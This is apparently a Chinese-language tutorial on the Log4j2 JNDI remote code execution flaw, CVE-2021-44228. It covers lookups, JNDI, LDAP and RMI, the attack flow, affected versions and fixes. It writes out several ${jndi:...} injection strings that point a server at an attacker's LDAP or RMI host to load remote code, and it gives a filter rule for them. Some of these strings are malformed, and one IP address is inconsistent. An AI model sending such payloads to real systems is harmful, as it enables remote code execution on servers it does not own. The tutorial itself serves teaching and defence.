cve-2021-44228 Apache Log4j2 远程代码执行漏洞
1、基础
log4j2 简介
Log4j2 是一个用于 Java 应用程序的成熟且功能强大的日志记录框架。它是 Log4j 的升级版本,相比于 Log4j,Log4j2 在性能、可靠性和灵活性方面都有显著的改进。
Log4j2 特点
- 高性能:Log4j2 使用异步日志记录机制,可以提供比传统同步日志记录更高的吞吐量和更低的延迟,因此在高负载情况下仍然能够保持出色的性能。
- 灵活的配置:Log4j2 的配置文件使用 XML、JSON 或 YAML 格式,允许将日志的格式、目标以及日志级别等属性进行灵活的配置和定制。
- 多种输出目标:Log4j2 支持多种日志输出目标,包括控制台、文件、数据库、远程套接字、JMS 和 Apache Flume 等。你可以根据需求配置日志输出到不同的目标。
- 强大的过滤器和路由:Log4j2 支持过滤器功能,可以根据日志的级别、源、线程等条件进行过滤,在满足条件时决定是否记录日志。此外,还可以基于日志的特定属性进行路由,将不同的日志记录到不同的目标。
- 按需加载插件:Log4j2 使用插件架构,允许按需加载各种附加组件和扩展功能,如自定义输出目标、格式器、过滤器等。这使得 Log4j2 的功能可以根据需要进行扩展和定制。
- 上下文容器:Log4j2 提供了 ThreadContext 和 ContextMap 等上下文容器,用于在多线程环境中跟踪和管理日志记录。这对于识别和调试特定线程的日志非常有用。
总体而言,Log4j2 是一个功能强大且灵活的日志记录框架,旨在提供高性能的日志记录解决方案。它被广泛用于各种 Java 应用程序和框架中,帮助开发人员更好地管理和分析应用程序的日志信息。
Log4j2 组件的应用
以下是一些使用 Log4j2 组件的中间件和应用程序的常见示例:
- Apache Tomcat - Java Web 服务器
- Apache Kafka - 分布式流处理平台
- Apache ActiveMQ - 开源消息队列系统
- Elasticsearch - 分布式搜索和分析引擎
- Spring Framework - Java 开发框架
- Hibernate ORM - 对象关系映射框架
- Apache Camel - 企业集成模式框架
- Apache Solr - 开源搜索平台
- Apache Druid - 实时分析数据库
- Apache NiFi - 数据流处理系统
- Apache Flink - 分布式流处理框架
- Apache Hadoop - 分布式计算框架
- Apache Spark - 分布式大数据处理框架
- Apache Storm - 实时流处理框架
- Alfresco - 开源企业内容管理系统
- Atlassian JIRA - 项目管理和缺陷追踪工具
- Jenkins - 持续集成和交付平台
- SonarQube - 代码质量管理平台
- Liferay - 企业门户和内容管理系统
- Graylog - 日志管理和分析平台
log4j2 之 lookups
Lookups 是 log4j2 的一种机制,用于动态获取和替换日志记录中的变量或属性的值。它提供了一种灵活的方式,可以在日志消息中引用、解析和插入各种上下文相关的信息。
log4j2 框架下的 lookup 查询服务提供了 {}
字段解析功能,传进去的值会被直接解析。例如 ${java:version}
会被替换为对应的 Java 版本。如果不对 lookup 的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。
Log4j2 内置了多个 Lookup 实现,以下是一些常见的 Lookup 示例:
${date}
:获取当前日期和时间,支持自定义格式。${pid}
:获取当前进程的 ID。${logLevel}
:获取当前日志记录的级别。${sys:propertyName}
:获取系统属性的值,例如${sys:user.home}
获取用户主目录。${env:variableName}
:获取环境变量的值,例如${env:JAVA\_HOME}
获取 Java 安装路径。${ctx:key}
:获取日志线程上下文(ThreadContext)中指定键的值。${class:fullyQualifiedName:methodName}
:获取指定类的静态方法的返回值。${mdc:key}
:获取 MDC (Mapped Diagnostic Context) 中指定键的值。
log4j 中内置了很多类型的解析器。其中,JNDI 解析器就是 cve-2021-44228 漏洞的源头。
log4j2 之 lookups 之 JNDI 解析器
JNDI 解析器通过 JDK 获取 JNDI 对象,并使用这个 JNDI 对象替换原有文本进行打印。我们将 JNDI 对象理解为:一个从程序外部获取的 Java 程序对象就可以了。JDK 中提供了多种不同 JNDI 对象的获取方式,获取方式可以称为 schema,所以正常的包含 JNDI 的日志记录方式如下:
1 |
|
其中:
- schema 是查找 JNDI 对象的方式,JDK 中支持 corbname, dns, iiop, iiopname, LDAP, ldaps, rmi 几种 schema。
- url 是几种不同的 schema 下 JNDI 的路径。不同的 schema,url路径的配置方法不同。
常用的 schame 是 LDAP,其 url 写法比较简单:jndi:ldap://xxx.dnslog.cn
JDK 将从 url 指定的路径下载一段字节流,并将字节流反序列化为 Java 对象,作为 JNDI 返回。在反序列化过程中,会执行字节流中包含的程序。
因此,如果攻击者能够控制日志打印的内容,就可以使目标服务器从攻击者指定的任意 url 地址下载代码字节流,攻击者在字节流中附带的代码就会在目标服务器上执行。
攻击者如何控制服务器上记录的日志内容呢?
大部分 web 服务程序都会对用户输入进行日志记录。例如:用户访问了哪些 url,有哪些关键的输入等,都会被作为参数送到 log4j 中,我们在这些地方写上 ${jndi:ldap://xxx.dnslog.cn}
就可以使 web 服务从 xxx.dnslog.cn 下载字节流了。
JNDI 是什么
JNDI(Java Naming and Directory Interface,JAVA 命名和目录接口):是 SUN 公司提供的一种标准的 Java 命名系统接口,允许从指定的远程服务器获取并加载对象。JNDI 相当于一个用于映射的字典,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。JNDI 下面有很多目录接口,用于不同的数据源的查找引用。
JNDI 注入主要是:下载远程 class,并运行下载的恶意代码。JNDI 注入攻击时常用的就是通过 RMI 和 LDAP 两种服务。
LDAP 服务
LDAP(Lightweight Directory Access Protocol,轻型目录访问协议)是一个开放的,中立的,工业标准的应用协议,通过 IP 协议提供访问控制和维护分布式信息的目录信息。
目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,就好象 Linux/Unix 系统中的文件目录一样
RMI
RMI(Remote Method Invocation,远程方法调用):它是一种机制,能够让在某个 Java 虚拟机上的对象调用另一个 Java 虚拟机的对象的方法。
2、CVE-2021-44228
漏洞简介:
Apache Log4j2 是一个基于 Java 的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。
2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞。该漏洞是由于 Apache Log4j2 某些功能存在递归解析功能,导致攻击者可直接构造恶意请求,触发远程代码执行漏洞,从而获得目标服务器权限。
在 Java 中最常用的日志框架是 log4j2 和 logback,其中 log4j2 支持 lookup 功能(查找搜索),这也是一个非常强大的功能,设计之初的目的也是为了方便开发者调用。例如当开发者想在日志中打印今天的日期,则只需要输出 ${data:MM-dd-yyyy}
,此时 log4j 会将 ${}
中包裹的内容单独处理,将它识别为日期查找,然后将该表达式替换为今天的日期内容输出为 08-22-2022
,这样做就不需要开发者自己去编写查找日期的代码。
表达式除了支持日期,还支持输出系统环境变量等功能,这样极大的方便了开发者。但是安全问题往往就是因为“图方便”引起的,毕竟设计者也是需要在安全性和用户体验之间做个平衡。
其实打印日期,打印系统变量这种对系统而言构不成什么威胁,最终要的原因是:log4j2 还支持 JNDI 协议。
漏洞适用版本
2.0 <= Apache log4j2 <= 2.14.1
漏洞原理
Apache log4j2-RCE 漏洞是由于 Log4j2 提供的 Lookup 功能下的 JNDI Lookup 模块出现问题所导致的,该功能模块在输出日志信息时允许开发人员通过相应的协议去请求远程主机上的资源。而开发人员在处理数据时,并没有对用户输入的信息进行判断,导致 Log4j2 请求远程主机上的含有恶意代码的资源,并执行其中的代码,从而造成远程代码执行漏洞。
1 |
|
Lookup 使用 ${}
进行包裹,上述示例中,sys:user.dir
表示使用 sys
解析器,查找 user.dir
的内容,即在系统环境变量中查找 user.dir
,然后替换 ${sys:user.dir}
的值进行打印。
攻击过程
log4j2 远程代码执行漏洞大致过程(此处使用 RMI,LDAP 同理):假设有一个 Java 程序,将用户名信息到了日志中,如下:
rmi 协议
攻击者发送一个 HTTP 请求,其用户名为
${jndi://rmi:服务器地址/Exploit}
被攻击服务器发现要输出的信息中有
${}
,则其中的内容要单独处理,进一步解析是 JNDI 扩展内容且使用的是 RMI,而后根据RMI 服务器地址去请求 Exploit。RMI服务器返回 Reference 对象(用于告诉请求端所请求对象所在的类),而该 Reference 指定了远端文件下载服务器上含有恶意代码的 class 文件。
被攻击服务器通过 Reference 对象去请求文件下载服务器上的 class 文件。
被攻击服务器下载恶意 class 文件并执行其中的恶意代码
LDAP 协议
当用户输入信息时,应用程序中的 log4j2 组件会将信息记录到日志中
假如日志中含有该语句
${jndi:ldap:192.168.96.1:1099/exp}
被攻击服务器发现要输出的信息中有
${}
,log4j 就会去解析该信息,通过 JNDI 的lookup()
方法去解析该 URL:ldap:192.168.96.1:1099/exp
解析到 LDAP,就会去 192.168.61.129:1099 的 LDAP 服务找名为 exp 的资源,如果找不到就会去 http 服务中找,在 http 中找到 exp 之后,就会将资源信息返回给应用程序的 log4j 组件,而 log4j 组件就会下载下来,然后发现 exp 是一个
.class
文件,就会去执行里面的代码,从而实现注入攻击者就可以通过 shell 实现任意的命令执行,造成严重危害。
漏洞修复
更新Log4j2版本:确保您使用的Log4j2版本是最新的,并且已经修复了该漏洞。定期检查Log4j2的官方发布说明,并尽快应用安全更新。
禁用Lookup功能:在Log4j2配置文件中,找到与Lookup相关的配置项,并将其禁用或修改为安全值。这样可以防止攻击者利用该漏洞执行任意代码。
限制日志消息来源:通过配置防火墙或安全组规则,限制能够发送日志消息的IP地址范围。这样可以减少潜在的攻击源,降低被利用的风险。
使用安全的日志格式:避免在日志消息中包含敏感信息,如用户凭据、系统配置等。这样可以降低攻击者获取敏感信息的机会。
实施安全审计和监控:定期审查和监控Log4j2的日志记录活动,以便及时发现异常行为或可疑活动。通过实施审计和监控措施,您可以及时发现潜在的安全威胁并采取相应措施。
加强系统安全防护:除了Log4j2的修复措施外,还应加强整个系统的安全防护。这包括使用强密码策略、限制不必要的网络端口和服务、实施防火墙规则等。通过提高整体系统的安全性,您可以降低被攻击的风险。
教育培训:提高开发人员和运维人员对安全意识的重视,定期进行安全培训和演练。让他们了解最新的安全威胁和防护措施,并确保他们在开发和维护过程中遵循最佳实践。
定期安全评估:定期进行安全评估和代码审查,以确保应用程序中没有其他潜在的安全漏洞。通过专业的安全评估服务或团队,您可以发现并修复潜在的安全问题。
总结:Apache Log4j2的Lookup漏洞是一个严重的安全问题,需要采取及时有效的措施进行修复。通过更新版本、禁用Lookup功能、限制日志消息来源、使用安全的日志格式、实施安全审计和监控、加强系统安全防护、教育培训以及定期安全评估等措施,您可以降低被攻击的风险并保护您的应用程序免受潜在威胁。配置防火墙策略,禁止主动连接外网设备
过滤相关的关键词,比如
${jndi://*}
限制JNDI默认可以使用的协议
限制可以通过LDAP访问的服务器和类